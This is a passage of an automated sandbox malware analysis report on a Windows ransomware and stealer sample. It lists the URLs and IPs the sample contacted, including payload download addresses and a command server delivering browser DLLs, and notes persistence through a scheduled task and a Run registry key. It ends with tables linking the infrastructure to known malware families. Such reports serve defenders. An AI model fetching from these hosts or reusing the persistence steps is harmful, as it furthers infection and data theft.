sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://49.12.114.15:10220/114.15:10220/softokn3.dllessionKeyBackward	build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsons	sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897402167.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/N	build2.exe, 00000008.00000002.2928275478.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/bg3goty#~	build2.exe, 00000008.00000003.1824602639.00000000007D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/bg3gotyg	build2.exe, 00000008.00000002.2928275478.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exerun	sbvN2ih5AU.exe, 00000004.00000002.2320254123.000000000091D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	build2.exe, 00000008.00000002.2934945196.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.nytimes.com/	sbvN2ih5AU.exe, 00000006.00000003.1956889759.0000000003430000.00000004.00001000.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220ing	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/	sbvN2ih5AU.exe, 00000001.00000002.1685680959.0000000000818000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.1696735265.000000000091C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2320254123.000000000091D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834662458.0000000000717000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-99MNqXMrdS	sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000953000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2321037437.0000000002F79000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267933196.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275123419.0000000002F78000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275123419.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267933196.0000000002F78000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2319484923.0000000002F96000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.0000000000640000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/RL	sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/lU	build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/tU	build2.exe, 00000008.00000003.1880639902.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe	build2.exe, 00000008.00000002.2926994377.0000000000576000.00000040.00000400.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/sqlite3.dll	build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zexeq.com/files/1/build3.exe#	sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://49.12.114.15/	build2.exe, 00000008.00000003.1946739739.0000000003232000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.2899637257.0000000003232000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869315115.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1946849835.0000000003234000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2930216404.0000000003232000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917260554.0000000003237000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220	build2.exe, 00000008.00000003.1813436955.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000499000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/nss3.dll	build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsontr	sbvN2ih5AU.exe, 00000001.00000002.1685680959.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220freebl3.dllposition:	build2.exe, 00000008.00000002.2926994377.0000000000499000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://brusuax.com/dl/build2.exe$run	sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://49.12.114.15:10220/softokn3.dlldge	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/les_AutoUpdate_1	build2.exe, 00000008.00000003.1869315115.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wikipedia.com/	sbvN2ih5AU.exe, 00000006.00000003.1956979276.0000000003430000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://49.12.114.15/r0	build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869315115.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com	sbvN2ih5AU.exe, 00000004.00000003.1958969742.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
49.12.114.15	unknown	Germany	24940	HETZNER-ASDE	false
104.21.65.24	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
175.120.254.9	zexeq.com	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
190.12.87.61	brusuax.com	Peru	27843	OPTICALTECHNOLOGIESSACPE	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1372455
Start date and time:	2024-01-10 15:48:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sbvN2ih5AU.exe renamed because original name is a hash value
Original Sample Name:	daa8db2383e3d9fe6cc680385e04fd9aeecee60bc13a4d7c75e55d8d40258d58.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@22/1205@7/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 74 Number of non-executed functions: 214
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.218.218.146, 23.218.218.135
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:48:59	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe s>--Task
14:49:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
14:49:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
15:49:17	API Interceptor	1x Sleep call for process: build2.exe modified
15:49:24	API Interceptor	1x Sleep call for process: sbvN2ih5AU.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
49.12.114.15	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, SmokeLoader, Vidar, zgRAT	Browse
49.12.114.15	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse
104.21.65.24	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	7yCti1JQXn.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	EdRzQIfoXb.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	Ksg3dly6oI.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse
	CUO2hN8U9N.exe	Get hash	malicious	Djvu	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	Aaca8T1ZJ5.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	s6n00Z3C86.exe	Get hash	malicious	Babuk, Clipboard Hijacker, DCRat, Djvu, RedLine, SmokeLoader, zgRAT	Browse
	JYAtBufpV4.exe	Get hash	malicious	DCRat, Djvu, RedLine, SmokeLoader, zgRAT	Browse
	CSSHJQpPTD.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader, Vidar	Browse
	8PCIN6uOoT.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	FfXH7NT3f8.exe	Get hash	malicious	BitCoin Miner, Djvu, SmokeLoader	Browse
	oB4fbQkz71.exe	Get hash	malicious	Djvu, RedLine, SmokeLoader	Browse
	FFtmHl3pcu.exe	Get hash	malicious	Djvu, RedLine, SmokeLoader	Browse
	7Uu5Xscq4d.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	kDyEVybMaV.exe	Get hash	malicious	Djvu, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse
	file.exe	Get hash	malicious	DarkTortilla, Djvu, Glupteba, Raccoon Stealer v2, RedLine, SmokeLoader	Browse
149.154.167.99	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot
	vSlVoTPrmP.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot
	RO67OsrIWi.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot
	KeyboardRGB.exe	Get hash	malicious	Unknown	Browse	t.me/cinoshibot
	file.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	W6qKnnjMEi	Get hash	malicious	Anubis	Browse	t.me/jhzljkhbsdklzjdlkzj281679827sjah
	snfstBXgxa	Get hash	malicious	Anubis	Browse	t.me/cui8txvnmv

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, SmokeLoader, Vidar, zgRAT	Browse	149.154.167.99
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse	149.154.167.99
	PbQI1np5cI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	CinaQ61J8d.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	987123.exe	Get hash	malicious	LummaC, Eternity Stealer, LummaC Stealer, SmokeLoader, Stealc, zgRAT	Browse	149.154.167.99
	H88B1esQF0.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse	149.154.167.99
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	149.154.167.99
	http://app.123chat.xyz	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://drsasanranjbar.com/7rnq/?37999091	Get hash	malicious	Unknown	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	https://eek.muf.mybluehost.me/wp-admin/css/colors/blue/MTTRBDFH/	Get hash	malicious	Unknown	Browse	162.241.219.14
	https://thu.muf.mybluehost.me/ddhh/tracking/fV5EjH/msg.php?id=81651192	Get hash	malicious	Unknown	Browse	162.241.226.169
	https://eeq.dfq.mybluehost.me/.website_79ef0269/msolaro/DH2tAyUe9AsUx7b/	Get hash	malicious	HTMLPhisher	Browse	162.241.252.236
	https://iss.phq.mybluehost.me/.website_26dbe1db/support/au/	Get hash	malicious	Unknown	Browse	50.87.180.60
	https://pre.oef.mybluehost.me/net-hu/login	Get hash	malicious	HTMLPhisher	Browse	162.241.252.155
	6101XOxMbY.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	149.154.167.99
	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	149.154.167.99
api.2ip.ua	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	Mk7woAn6lz.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	6101XOxMbY.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	172.67.139.220
	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	104.21.65.24
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	104.21.65.24
	C7e8AncaYu.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	104.21.65.24
	XrNOw4sxMG.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	172.67.139.220
	7yCti1JQXn.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	EdRzQIfoXb.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse	172.67.139.220
	Ksg3dly6oI.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	104.21.65.24
	CUO2hN8U9N.exe	Get hash	malicious	Djvu	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://downloads.mongodb.com/compass/mongodb-compass-1.41.0-win32-x64.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://padlet.com/jmosher9/jeffmosher_january_09_2024_inv921713_from_city_of_cripple_cr-q8z8avjhaljv58kd	Get hash	malicious	Unknown	Browse	172.64.144.177
	https://pinnacles.ltd/Myjustice@scarboroughmaine.org	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://1uhabf.s3.amazonaws.com/index.html?AWSAccessKeyId=AKIAZZISD2YOGSQWKY44&Signature=Z1C8wH7Q%2FHbhgEojzThv0bL6%2FjQ%3D&Expires=1704936459&c=nnn010an04an3n02an0n013annnn013an02an04an4n014an0.n01an3n09a	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://na2-docusign-net-envelope.us-lax-1.linodeobjects.com/benefit-assessment-review.html#jason_koepke@trekbikes.com	Get hash	malicious	HTMLPhisher	Browse	104.21.35.44
	https://tinyurl.com/ytc6dxab	Get hash	malicious	Porn Scam	Browse	104.21.86.15
	https://nifty-bronze-750.notion.site/EDC-Homes-4a021bfb10bd474cb450f22fb0fd8f2e?pvs=4	Get hash	malicious	Unknown	Browse	172.64.148.154
	https://www.jottacloud.com/s/348e1e26c752dc84e51ba7a82861cbaa7ce	Get hash	malicious	HTMLPhisher	Browse	172.64.140.13
	https://url7923.marsello.io/ls/click?upn=Xn88PJeNIL29Y2OVpP6Ui-2FiJiLFhXN-2BaAoUhaFeS5thEexIiWqEF8dt08iW6JSqntxNZ_ZhPcx6WPs4ZPfYHsVw3kGc95DdiOlu2Hqu3wtZDfTdxDhqDrDyhN4LIHSWlo-2Bo5W6aEC693CmZYOUsRsAHZjNYMetybYb1uYwCQGuNUgutLCzNtMSdcaod8HflZ3qtLEYfvJ3h120nclv-2FPwWe4ZMuwG1g5FU0h57N477RbEMQV2-2FUVsni6xHvVTRhTmHDzgfD-2F3g-2BckOgde-2F51-2FeyDF08iaXxzVHgagCQPKWzGeSlI6hU-2B61MmZjONA8snu2jD66uyBw5PSnYyn0fMKgCqj-2FNBTJqL-2FTN8YlBx1uy4KooCKJiqFqcR8WxhpSnrzCOJa	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	LocalConnect.exe	Get hash	malicious	Unknown	Browse	104.21.4.208
	f07q0yVGZS.exe	Get hash	malicious	SmokeLoader	Browse	172.67.172.189
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=6mlknE-PCk60oBRX2x2o3Wgfj_Paf1FKsdqwwCFpfXxUNTJZU0k1QllaN01BVUhDQlFXQktVRUUzNy4u	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	GA_#U00e7izimleri.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	GA_#U00e7izimleri.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	https://click.e.berlitz.com/?qs=383d62fb0b169d710affe936c6b84e3f27c28ce0c141f027fe93d1d83576e1ed447c1afdd57147231008fc94712a812b2d436714d50c1a711d6055253ab8faff	Get hash	malicious	Unknown	Browse	104.17.25.14
	Sct_567288903773882992999.xla.js	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	Scan_New_Inquiry_for_your_Quotation_pdf.vbs	Get hash	malicious	Nanocore	Browse	104.21.84.67
	doc_5246701290829878904872.vbs	Get hash	malicious	Remcos	Browse	172.67.29.26
	Enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	172.67.180.140
HETZNER-ASDE	6K1uYM85lS.exe	Get hash	malicious	Phorpiex	Browse	95.217.42.50
	YmDAnj65iC.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	176.9.47.240
	L8d0sq42Mq.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.98.218
	https://click.e.berlitz.com/?qs=383d62fb0b169d710affe936c6b84e3f27c28ce0c141f027fe93d1d83576e1ed447c1afdd57147231008fc94712a812b2d436714d50c1a711d6055253ab8faff	Get hash	malicious	Unknown	Browse	5.161.17.239
	https://click.e.berlitz.com/?qs=0e6b3a6ce0a34eb7973094c721dae2442940118341f6513204a5ddb76446816b05daee995a6f52579e9836b91afc4782fe5b268da8179778309b226517d36e97	Get hash	malicious	Unknown	Browse	5.161.17.239
	ugVxBpdzlX.exe	Get hash	malicious	RedLine	Browse	135.181.242.178
	Ylk8jDLLkj.exe	Get hash	malicious	zgRAT	Browse	95.217.236.92
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, SmokeLoader, Vidar, zgRAT	Browse	49.12.114.15
	file.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	176.9.47.240
	Q8GCK47jsm.exe	Get hash	malicious	RedLine	Browse	135.181.242.178
	bBpYD3aXuL.exe	Get hash	malicious	BazaLoader, SmokeLoader	Browse	95.216.107.103
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	168.119.106.20
	jULzaNmeSP.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	176.9.47.240
	mWw5RmLAih.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	176.9.47.240
	wJ5fr6j24t.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.98.218
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse	49.12.114.15
	http://4oc.aloviec.com/?dD1jJmQ9MjIwNzMmbD01MzI0JmM9ODY4NzgmYXU9MA==	Get hash	malicious	Unknown	Browse	5.161.188.99
	OPSYVqBO49.exe	Get hash	malicious	GuLoader, Petite Virus	Browse	176.9.47.240
	http://45.90.108.123	Get hash	malicious	Unknown	Browse	135.181.16.82
	http://somalil.norin.co.za/2953779721339779383189?rijujanupomevisupagelaguli=luwevedefakoweviterikawobunawejubawazesaluxuzufevilavazubanabalokuzarujiriroviposobodipebawajojunevazejazurobajemofelivuxovejuzejasezajasaseraxerimorujizadixezujiligomawotezezewimubumojipajujasepogasutavo&keyword=assa%20abl...%20somalil.norin.co.za	Get hash	malicious	Unknown	Browse	136.243.216.232

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24 149.154.167.99
	OFERTA_2024.js	Get hash	malicious	DarkCloud	Browse	104.21.65.24 149.154.167.99
	Order_Karakoy_mall.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.65.24 149.154.167.99
	aPgBgT8dcX.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.65.24 149.154.167.99
	PsZm8duC8y.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.65.24 149.154.167.99
	nPWywjpYia.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.65.24 149.154.167.99
	bank_swift_IBX20240110009138652.vbe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.65.24 149.154.167.99
	Pedido_de_cota#U00e7#U00e3o_-Lista_de_materiais.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.65.24 149.154.167.99
	DHL_AWB_50_No3354087_pdf.exe	Get hash	malicious	GuLoader	Browse	104.21.65.24 149.154.167.99
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, SmokeLoader, Vidar, zgRAT	Browse	104.21.65.24 149.154.167.99
	BTGXVMAC.JS.js	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	BTGXVMAC.JS.js	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	229836410828526348490lnk.lnk	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	104.21.65.24 149.154.167.99
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse	104.21.65.24 149.154.167.99
	otFVzmu0OI.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.65.24 149.154.167.99
	ZLK1m92Anm.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.65.24 149.154.167.99
	th7GMksXzB.exe	Get hash	malicious	Glupteba, Stealc, Vidar	Browse	104.21.65.24 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqlite3[1].dll	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, SmokeLoader, Vidar, zgRAT	Browse
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse
	PbQI1np5cI.exe	Get hash	malicious	Vidar	Browse
	CinaQ61J8d.exe	Get hash	malicious	Vidar	Browse
	H88B1esQF0.exe	Get hash	malicious	Vidar	Browse
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse
